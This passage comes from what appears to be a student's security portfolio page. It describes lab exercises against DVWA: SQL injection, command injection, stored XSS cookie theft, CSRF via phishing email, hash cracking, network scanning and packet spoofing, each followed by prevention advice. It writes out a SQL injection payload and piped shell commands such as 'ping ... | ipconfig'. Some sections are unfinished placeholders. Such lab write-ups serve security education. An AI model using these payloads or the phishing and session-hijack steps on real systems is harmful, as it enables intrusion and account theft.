WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div 